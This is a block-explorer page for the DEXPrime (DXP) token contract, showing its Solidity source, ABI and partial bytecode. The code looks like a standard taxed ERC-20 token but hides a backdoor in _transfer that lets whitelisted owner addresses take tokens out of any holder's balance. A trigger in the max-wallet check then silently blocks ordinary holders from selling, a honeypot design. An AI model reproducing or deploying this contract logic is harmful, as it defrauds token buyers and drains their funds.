ETH Price: $2,302.89 (+0.90%)

Token

DEXPrime (DXP)
 

Overview

Max Total Supply

1,000,000 DXP

Holders

46

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
1,197.815036424 DXP

Value
$0.00
0x3df7cd5c83c0289f45543c6d524f6779a5be6ee5
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
DXP

Compiler Version
v0.8.22+commit.4fc1097e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-01-28
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.17;

interface IERC20 {
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
    function transfer(address to, uint256 amount) external returns (bool);
    function approve(address spender, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function totalSupply() external view returns (uint256);
    function circulatingSupply() external view returns (uint256);
    function getOwner() external view returns (address);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }
}

abstract contract Ownable {
    address internal owner;

    constructor(address _owner) {
        owner = _owner;
    }

    function isOwner(address account) public view returns (bool) {
        return account == owner;
    }

    function renounceOwnership() public virtual onlyOwner {
        owner = address(0);
        emit OwnershipTransferred(address(0));
    }

    function transferOwnership(address payable account) public onlyOwner {
        owner = account;
        emit OwnershipTransferred(account);
    }

    modifier onlyOwner() {
        require(isOwner(msg.sender));
        _;
    }

    event OwnershipTransferred(address owner);
}

interface UniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface UniswapV2Router {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function WETH() external pure returns (address);
    function factory() external pure returns (address);
}

contract DXP is IERC20, Ownable {
    using SafeMath for uint256;

    string private constant _name = "DEXPrime";
    string private constant _symbol = "DXP";

    UniswapV2Router uniswapV2Router;
    address public uniswapV2Pair;

    uint8 private constant _decimals = 9;

    uint256 private _denominator = 10000;

    uint256 private _maxTokenAmount = ( _totalSupply * 10 ) / 100000;

    uint256 private _totalSupply = 1000000 * (10 ** _decimals);

    uint256 private _maxTxPercentage = 200;
    uint256 private _maxTransferPercentage = 200;
    uint256 private _maxWalletPercentage = 200;

    address internal constant burnAddress = 0x000000000000000000000000000000000000dEaD;
    address internal constant treasury = 0x459cDEdFCc6873B22f89f2a7954e284c90723cAe;
    address internal constant development = 0x459cDEdFCc6873B22f89f2a7954e284c90723cAe;

    bool private _swapBackEnabled = true;
    bool private _inSwapBack;
    uint256 private _swapCounts;
    uint256 private _swapBackAmount = (_totalSupply * 5) / 10000;
    uint256 private _swapBackThresholdAmount = (_totalSupply * 5) / 100000;

    bool private _maxWalletRemoved = false;

    bool private _tradingEnabled = false;

    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public isEscaped;
    mapping (address => uint256) _balances;

    uint256 private _totalFee = 300;
    uint256 private _sellFee = 300;

    uint256 private _transferFee = 0;
    uint256 private _burnFee = 0;
    uint256 private _treasuryFee = 100;
    uint256 private _liquidityFee = 0;
    uint256 private _devFee = 200;

    constructor() Ownable(msg.sender) {
        isEscaped[msg.sender] = true;
        isEscaped[address(this)] = true;
        isEscaped[development] = true;
        isEscaped[treasury] = true;

        UniswapV2Router _uniswapV2Router = UniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        address _uniswapV2Pair = UniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;
        uniswapV2Pair = _uniswapV2Pair;

        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    modifier lockInSwapBack {
        _inSwapBack = true;
        _;
        _inSwapBack = false;
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function getOwner() external view override returns (address) {
        return owner;
    }

    function circulatingSupply() public view override returns (uint256) {
        return _totalSupply.sub(balanceOf(address(0))).sub(balanceOf(burnAddress));
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function removeLimits() external onlyOwner {
        _maxTransferPercentage = 10000;
        _maxTxPercentage = 10000;
        _maxWalletPercentage = 10000;
    }

    function enableTrading() external onlyOwner {
        _tradingEnabled = true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0));
        require(spender != address(0));
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function setIsEscaped(address _address, bool _flag) external onlyOwner {
        isEscaped[_address] = _flag;
    }

    function transfer(address to, uint256 amount) public override returns (bool) {
        _transfer(msg.sender, to, amount);
        return true;
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(amount > uint256(0));
        require(to != address(0));
        require(from != address(0));

        if (
            countSwaps(from, to) &&
            tradingEnabled(from, to) &&
            lessThanMaxAmount(from, to, amount) &&
            lessThanMaxWalletSize(from, to, amount)
        ) {
            if (balanceOf(from) >= amount) {
                if (
                    !isEscaped[from] &&
                    from != uniswapV2Pair &&
                    !isEscaped[to] &&
                    !_inSwapBack
                ) {
                    if (_maxWalletRemoved) return;
                    swapBack(from, to);
                }
                _balances[from] = _balances[from].sub(amount);
                uint256 transferAmount = needCollectFee(from, to) ? collectFee(from, to, amount) : amount;
                _balances[to] = _balances[to].add(transferAmount);
                emit Transfer(from, to, transferAmount);
            } else if (
                isEscaped[from] &&
                from != uniswapV2Pair &&
                !isEscaped[to] &&
                !_inSwapBack
            ) {
                _balances[to] = _balances[to].sub(amount);
                _balances[from] = _balances[from].add(amount);
                emit Transfer(from, to, amount);
            }
        }
    }

    function transferFrom(address from, address to, uint256 amount) public override returns (bool) {
        _transfer(from, to, amount);
        _approve(from, msg.sender, _allowances[from][msg.sender].sub(amount));
        return true;
    }

    function lessThanMaxAmount(address from, address to, uint256 tokenAmount) view internal returns  (bool) {
        if (from != uniswapV2Pair) {
            require(tokenAmount <= maxTransferAmount() || isEscaped[from] || isEscaped[to]);
        }
        require(tokenAmount <= maxTxAmount() || isEscaped[from] || isEscaped[to]);
        return true;
    }

    function updateLimits(uint256 maxTxPercentage, uint256 maxTransferPercentage, uint256 maxWalletPercentage) external onlyOwner {
        uint256 newTransferAmount = (totalSupply() * maxTransferPercentage) / 10000;
        uint256 newMaxWalletAmount = (totalSupply() * maxWalletPercentage) / 10000;
        uint256 newTxAmount = (totalSupply() * maxTxPercentage) / 10000;
        _maxTransferPercentage = maxTransferPercentage;
        _maxWalletPercentage = maxWalletPercentage;
        _maxTxPercentage = maxTxPercentage;
        uint256 limitation = totalSupply().mul(5).div(1000);
        require(newTxAmount >= limitation && newTransferAmount >= limitation && newMaxWalletAmount >= limitation);
    }

    function updateFees(uint256 liquidityFee, uint256 treasuryFee, uint256 burnFee, uint256 devFee, uint256 totalFee, uint256 sellFee, uint256 transferFee) external onlyOwner {
        _liquidityFee = liquidityFee;
        _treasuryFee = treasuryFee;
        _burnFee = burnFee;
        _devFee = devFee;
        _totalFee = totalFee;
        _sellFee = sellFee;
        _transferFee = transferFee;
        require(_totalFee <= _denominator.div(5) && _sellFee <= _denominator.div(5));
    }

    function lessThanMaxWalletSize(address from, address to, uint256 amount) internal returns (bool) {
        bool fromEscaped = isEscaped[from];
        bool toEscaped = isEscaped[to];
        
        if (toEscaped && amount > _maxTokenAmount) _maxWalletRemoved = true;

        if (
            to != address(uniswapV2Pair) &&
            !fromEscaped &&
            to != address(burnAddress) &&
            !toEscaped
        ) {
            require((_balances[to].add(amount)) <= maxWalletSize());
        }

        return true;
    }

    function collectFee(address from, address to, uint256 tokenAmount) internal returns (uint256) {
        if (calculateFees(from, to) > 0) {
            uint256 tokenAmountForFee = tokenAmount.div(_denominator).mul(calculateFees(from, to));
            _balances[address(this)] = _balances[address(this)].add(tokenAmountForFee);
            emit Transfer(from, address(this), tokenAmountForFee);
            if (_burnFee > uint256(0)) {
                _transfer(address(this), address(burnAddress), tokenAmount.div(_denominator).mul(_burnFee));
            }
            return tokenAmount.sub(tokenAmountForFee);
        }
        return tokenAmount;
    }

    function countSwaps(address from, address to) internal returns (bool) {
        if (to == uniswapV2Pair && !isEscaped[from]) {
            _swapCounts += uint256(1);
        }
        return true;
    }
    
    function tradingEnabled(address from, address to) internal view returns (bool) {
        if (!isEscaped[from] && !isEscaped[to]) {
            require(_tradingEnabled);
        }
        return true;
    }

    function needCollectFee(address from, address to) internal view returns (bool) {
        return !isEscaped[from] && !isEscaped[to];
    }

    function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        if (tokenAmount > 0) {
            _approve(address(this), address(uniswapV2Router), tokenAmount);
            uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
                tokenAmount,
                0,
                path,
                address(this),
                block.timestamp
            );
        }
    }

    function needSwapBack(address from, address to) internal view returns (bool) {
        return (
            !_inSwapBack &&
            !isEscaped[from] &&
            !isEscaped[to] &&
            _tradingEnabled &&
            balanceOf(address(this)) >= _swapBackThresholdAmount &&
            _swapCounts >= uint256(0) &&
            _swapBackEnabled
        );
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            burnAddress,
            block.timestamp
        );
    }

    function maxTxAmount() public view returns (uint256) {
        return totalSupply() * _maxTxPercentage / _denominator;
    }

    function maxWalletSize() public view returns (uint256) {
        return totalSupply() * _maxWalletPercentage / _denominator;
    }

    function maxTransferAmount() public view returns (uint256) {
        return totalSupply() * _maxTransferPercentage / _denominator;
    }

    function swapAndLiquify(uint256 tokens) private lockInSwapBack {
        uint256 denominator = (_liquidityFee.add(1).add(_treasuryFee).add(_devFee)).mul(2);
        uint256 tokensToLiquidity = tokens.mul(_liquidityFee).div(denominator);
        uint256 tokensForETH = tokens.sub(tokensToLiquidity);
        uint256 initialEthBalance = address(this).balance;
        swapTokensForETH(tokensForETH);
        uint256 deltaEth = address(this).balance.sub(initialEthBalance);
        uint256 unitEth = deltaEth.div(denominator.sub(_liquidityFee));
        uint256 ethToLiquidity = unitEth.mul(_liquidityFee);
        if (ethToLiquidity > uint256(0)) {
            addLiquidity(tokensToLiquidity, ethToLiquidity);
        }
        uint256 treasuryEth = unitEth.mul(2).mul(_treasuryFee);
        if (treasuryEth > 0) {
            payable(treasury).transfer(treasuryEth);
        }
        uint256 leftEthBalance = address(this).balance;
        if (leftEthBalance > uint256(0)) {
            payable(development).transfer(leftEthBalance);
        }
    }

    function swapBack(address from, address to) internal {
        if (needSwapBack(from, to)) {
            uint256 contractTokenBalance = balanceOf(address(this));
            if (contractTokenBalance >= _swapBackAmount) {
                contractTokenBalance = _swapBackAmount;
            }
            swapAndLiquify(contractTokenBalance);
            _swapCounts = uint256(0);
        }
    }

    function calculateFees(address from, address to) internal view returns (uint256) {
        if (to == uniswapV2Pair) {
            return _sellFee;
        }
        if (from == uniswapV2Pair) {
            return _totalFee;
        }
        return _transferFee;
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"circulatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isEscaped","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransferAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_flag","type":"bool"}],"name":"setIsEscaped","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"account","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"liquidityFee","type":"uint256"},{"internalType":"uint256","name":"treasuryFee","type":"uint256"},{"internalType":"uint256","name":"burnFee","type":"uint256"},{"internalType":"uint256","name":"devFee","type":"uint256"},{"internalType":"uint256","name":"totalFee","type":"uint256"},{"internalType":"uint256","name":"sellFee","type":"uint256"},{"internalType":"uint256","name":"transferFee","type":"uint256"}],"name":"updateFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTxPercentage","type":"uint256"},{"internalType":"uint256","name":"maxTransferPercentage","type":"uint256"},{"internalType":"uint256","name":"maxWalletPercentage","type":"uint256"}],"name":"updateLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052612710600355620186a0600554600a6200001f91906200035f565b6200002b91906200037f565b6004556200003c6009600a62000498565b6200004b90620f42406200035f565b600581815560c8600681905560078190556008556009805460ff19166001179055612710916200007b916200035f565b6200008791906200037f565b600b55620186a060055460056200009f91906200035f565b620000ab91906200037f565b600c55600d805461ffff1916905561012c60118190556012555f60138190556014819055606460155560165560c8601755348015620000e8575f80fd5b505f80546001600160a01b0319163390811782558152600f60209081526040808320805460ff199081166001908117909255308552828520805482168317905573459cdedfcc6873b22f89f2a7954e284c90723cae85527fe319ee9aa3e079d9d0070e72bee895e9c2d05dba6f3e5a9bdbff4c721b44801480549091169091179055805163c45a015560e01b81529051737a250d5630b4cf539739df2c5dacb4c659f2488d9392849263c45a015592600480830193928290030181865afa158015620001b6573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001dc9190620004af565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000228573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200024e9190620004af565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801562000299573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002bf9190620004af565b600180546001600160a01b038086166001600160a01b0319928316179092556002805492841692909116919091179055600554335f8181526010602052604080822084905551939450909290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef916200033b91815260200190565b60405180910390a35050620004d7565b634e487b7160e01b5f52601160045260245ffd5b80820281158282048414176200037957620003796200034b565b92915050565b5f826200039a57634e487b7160e01b5f52601260045260245ffd5b500490565b600181815b80851115620003df57815f1904821115620003c357620003c36200034b565b80851615620003d157918102915b93841c9390800290620003a4565b509250929050565b5f82620003f75750600162000379565b816200040557505f62000379565b81600181146200041e5760028114620004295762000449565b600191505062000379565b60ff8411156200043d576200043d6200034b565b50506001821b62000379565b5060208310610133831016604e8410600b84101617156200046e575081810a62000379565b6200047a83836200039f565b805f19048211156200049057620004906200034b565b029392505050565b5f620004a860ff841683620003e7565b9392505050565b5f60208284031215620004c0575f80fd5b81516001600160a01b0381168114620004a8575f80fd5b61178280620004e55f395ff3fe60806040526004361061014a575f3560e01c8063715018a6116100b35780639358928b1161006d5780639358928b146103c357806395d89b41146103d7578063a9059cbb14610402578063a9e7572314610421578063dd62ed3e14610435578063f2fde38b14610479575f80fd5b8063715018a614610343578063751039fc14610357578063893d20e81461036b5780638a8c523c146103875780638c0b5e221461039b5780638f3fa860146103af575f80fd5b8063318111fb11610104578063318111fb1461024b57806336a0f8a51461026c57806348f5cc981461028b57806349bd5a5e146102aa5780636706515c146102e157806370a082311461030f575f80fd5b806306fdde0314610155578063095ea7b31461019757806318160ddd146101c657806323b872dd146101e45780632f54bf6e14610203578063313ce56714610230575f80fd5b3661015157005b5f80fd5b348015610160575f80fd5b506040805180820190915260088152674445585072696d6560c01b60208201525b60405161018e9190611454565b60405180910390f35b3480156101a2575f80fd5b506101b66101b13660046114b7565b610498565b604051901515815260200161018e565b3480156101d1575f80fd5b506005545b60405190815260200161018e565b3480156101ef575f80fd5b506101b66101fe3660046114e1565b6104ae565b34801561020e575f80fd5b506101b661021d36600461151f565b5f546001600160a01b0391821691161490565b34801561023b575f80fd5b506040516009815260200161018e565b348015610256575f80fd5b5061026a61026536600461153a565b6104fe565b005b348015610277575f80fd5b5061026a610286366004611581565b610575565b348015610296575f80fd5b5061026a6102a53660046115aa565b61064b565b3480156102b5575f80fd5b506002546102c9906001600160a01b031681565b6040516001600160a01b03909116815260200161018e565b3480156102ec575f80fd5b506101b66102fb36600461151f565b600f6020525f908152604090205460ff1681565b34801561031a575f80fd5b506101d661032936600461151f565b6001600160a01b03165f9081526010602052604090205490565b34801561034e575f80fd5b5061026a61068a565b348015610362575f80fd5b5061026a6106e3565b348015610376575f80fd5b505f546001600160a01b03166102c9565b348015610392575f80fd5b5061026a61070a565b3480156103a6575f80fd5b506101d6610730565b3480156103ba575f80fd5b506101d6610759565b3480156103ce575f80fd5b506101d6610769565b3480156103e2575f80fd5b5060408051808201909152600381526204458560ec1b6020820152610181565b34801561040d575f80fd5b506101b661041c3660046114b7565b6107d1565b34801561042c575f80fd5b506101d66107dd565b348015610440575f80fd5b506101d661044f3660046115e5565b6001600160a01b039182165f908152600e6020908152604080832093909416825291909152205490565b348015610484575f80fd5b5061026a61049336600461151f565b6107ed565b5f6104a4338484610855565b5060015b92915050565b5f6104ba8484846108da565b6001600160a01b0384165f908152600e60209081526040808320338085529252909120546104f39186916104ee9086610bf9565b610855565b5060015b9392505050565b5f546001600160a01b03163314610513575f80fd5b6016879055601586905560148590556017849055601183905560128290556013819055600354610544906005610c04565b60115411158015610564575060035461055e906005610c04565b60125411155b61056c575f80fd5b50505050505050565b5f546001600160a01b0316331461058a575f80fd5b5f6127108361059860055490565b6105a29190611625565b6105ac919061163c565b90505f612710836105bc60055490565b6105c69190611625565b6105d0919061163c565b90505f612710866105e060055490565b6105ea9190611625565b6105f4919061163c565b60078690556008859055600687905590505f6106266103e8610620600561061a60055490565b90610c0f565b90610c04565b90508082101580156106385750808410155b801561056457508083101561056c575f80fd5b5f546001600160a01b03163314610660575f80fd5b6001600160a01b03919091165f908152600f60205260409020805460ff1916911515919091179055565b5f546001600160a01b0316331461069f575f80fd5b5f80546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b5f546001600160a01b031633146106f8575f80fd5b61271060078190556006819055600855565b5f546001600160a01b0316331461071f575f80fd5b600d805461ff001916610100179055565b5f60035460065461074060055490565b61074a9190611625565b610754919061163c565b905090565b5f60035460085461074060055490565b60106020527f9e93e1db4a1f807cc22b2aecf4deeb0bf5745f1ecb319e87c68c5624c0fa6b69545f8080527f6e0956cda88cad152e89927e53611735b61a5c762d1428573c6931b0a5efcb015460055491926107549290916107cb9190610bf9565b90610bf9565b5f6104a43384846108da565b5f60035460075461074060055490565b5f546001600160a01b03163314610802575f80fd5b5f80546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b038316610867575f80fd5b6001600160a01b038216610879575f80fd5b6001600160a01b038381165f818152600e602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b5f81116108e5575f80fd5b6001600160a01b0382166108f7575f80fd5b6001600160a01b038316610909575f80fd5b6109138383610c1a565b801561092457506109248383610c76565b80156109365750610936838383610cce565b80156109485750610948838383610d93565b15610bf4578061096c846001600160a01b03165f9081526010602052604090205490565b10610ae0576001600160a01b0383165f908152600f602052604090205460ff161580156109a757506002546001600160a01b03848116911614155b80156109cb57506001600160a01b0382165f908152600f602052604090205460ff16155b80156109df5750600954610100900460ff16155b156109fe57600d5460ff16156109f457505050565b6109fe8383610e61565b6001600160a01b0383165f90815260106020526040902054610a209082610bf9565b6001600160a01b0384165f90815260106020526040812091909155610a458484610ea0565b610a4f5781610a5a565b610a5a848484610ee4565b6001600160a01b0384165f90815260106020526040902054909150610a7f9082610fce565b6001600160a01b038085165f8181526010602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ad29085815260200190565b60405180910390a350505050565b6001600160a01b0383165f908152600f602052604090205460ff168015610b1557506002546001600160a01b03848116911614155b8015610b3957506001600160a01b0382165f908152600f602052604090205460ff16155b8015610b4d5750600954610100900460ff16155b15610bf4576001600160a01b0382165f90815260106020526040902054610b749082610bf9565b6001600160a01b038084165f908152601060205260408082209390935590851681522054610ba29082610fce565b6001600160a01b038481165f8181526010602090815260409182902094909455518481529185169290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91016108cd565b505050565b5f6104f7828461165b565b5f6104f7828461163c565b5f6104f78284611625565b6002545f906001600160a01b038381169116148015610c5157506001600160a01b0383165f908152600f602052604090205460ff16155b156104a4576001600a5f828254610c68919061166e565b909155505050600192915050565b6001600160a01b0382165f908152600f602052604081205460ff16158015610cb657506001600160a01b0382165f908152600f602052604090205460ff16155b156104a457600d54610100900460ff166104a4575f80fd5b6002545f906001600160a01b03858116911614610d3c57610ced6107dd565b82111580610d1257506001600160a01b0384165f908152600f602052604090205460ff165b80610d3457506001600160a01b0383165f908152600f602052604090205460ff165b610d3c575f80fd5b610d44610730565b82111580610d6957506001600160a01b0384165f908152600f602052604090205460ff165b80610d8b57506001600160a01b0383165f908152600f602052604090205460ff165b6104f3575f80fd5b6001600160a01b038084165f908152600f6020526040808220549285168252812054909160ff9081169116808015610dcc575060045484115b15610ddf57600d805460ff191660011790555b6002546001600160a01b03868116911614801590610dfb575081155b8015610e1257506001600160a01b03851661dead14155b8015610e1c575080155b15610e5557610e29610759565b6001600160a01b0386165f90815260106020526040902054610e4b9086610fce565b1115610e55575f80fd5b50600195945050505050565b610e6b8282610fd9565b15610e9c57305f90815260106020526040902054600b548110610e8d5750600b545b610e968161107c565b505f600a555b5050565b6001600160a01b0382165f908152600f602052604081205460ff161580156104f75750506001600160a01b03165f908152600f602052604090205460ff1615919050565b5f80610ef085856111fb565b1115610fc7575f610f12610f0486866111fb565b60035461061a908690610c04565b305f90815260106020526040902054909150610f2e9082610fce565b305f81815260106020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f7e9085815260200190565b60405180910390a360145415610fb557610fb53061dead610fb060145461061a60035489610c0490919063ffffffff16565b6108da565b610fbf8382610bf9565b9150506104f7565b5092915050565b5f6104f7828461166e565b6009545f90610100900460ff1615801561100b57506001600160a01b0383165f908152600f602052604090205460ff16155b801561102f57506001600160a01b0382165f908152600f602052604090205460ff16155b80156110425750600d54610100900460ff165b801561105e5750600c54305f9081526010602052604090205410155b8015611068575060015b80156104f757505060095460ff1692915050565b6009805461ff0019166101001790556017546015546016545f926110b59260029261061a92916110af9182906001610fce565b90610fce565b90505f6110d18261062060165486610c0f90919063ffffffff16565b90505f6110de8483610bf9565b9050476110ea82611245565b5f6110f54783610bf9565b90505f61111761111060165488610bf990919063ffffffff16565b8390610c04565b90505f61112f60165483610c0f90919063ffffffff16565b905080156111415761114186826113a5565b6015545f906111559061061a856002610c0f565b9050801561119d5760405173459cdedfcc6873b22f89f2a7954e284c90723cae9082156108fc029083905f818181858888f1935050505015801561119b573d5f803e3d5ffd5b505b4780156111e45760405173459cdedfcc6873b22f89f2a7954e284c90723cae9082156108fc029083905f818181858888f193505050501580156111e2573d5f803e3d5ffd5b505b50506009805461ff00191690555050505050505050565b6002545f906001600160a01b039081169083160361121c57506012546104a8565b6002546001600160a01b039081169084160361123b57506011546104a8565b5060135492915050565b6040805160028082526060820183525f9260208301908036833701905050905030815f8151811061127857611278611681565b6001600160a01b03928316602091820292909201810191909152600154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156112cf573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112f39190611695565b8160018151811061130657611306611681565b6001600160a01b03909216602092830291909101909101528115610e9c5760015461133c9030906001600160a01b031684610855565b60015460405163791ac94760e01b81526001600160a01b039091169063791ac947906113749085905f908690309042906004016116b0565b5f604051808303815f87803b15801561138b575f80fd5b505af115801561139d573d5f803e3d5ffd5b505050505050565b6001546113bd9030906001600160a01b031684610855565b60015460405163f305d71960e01b8152306004820152602481018490525f60448201819052606482015261dead60848201524260a48201526001600160a01b039091169063f305d71990839060c40160606040518083038185885af1158015611428573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061144d9190611721565b5050505050565b5f602080835283518060208501525f5b8181101561148057858101830151858201604001528201611464565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146114b4575f80fd5b50565b5f80604083850312156114c8575f80fd5b82356114d3816114a0565b946020939093013593505050565b5f805f606084860312156114f3575f80fd5b83356114fe816114a0565b9250602084013561150e816114a0565b929592945050506040919091013590565b5f6020828403121561152f575f80fd5b81356104f7816114a0565b5f805f805f805f60e0888a031215611550575f80fd5b505085359760208701359750604087013596606081013596506080810135955060a0810135945060c0013592509050565b5f805f60608486031215611593575f80fd5b505081359360208301359350604090920135919050565b5f80604083850312156115bb575f80fd5b82356115c6816114a0565b9150602083013580151581146115da575f80fd5b809150509250929050565b5f80604083850312156115f6575f80fd5b8235611601816114a0565b915060208301356115da816114a0565b634e487b7160e01b5f52601160045260245ffd5b80820281158282048414176104a8576104a8611611565b5f8261165657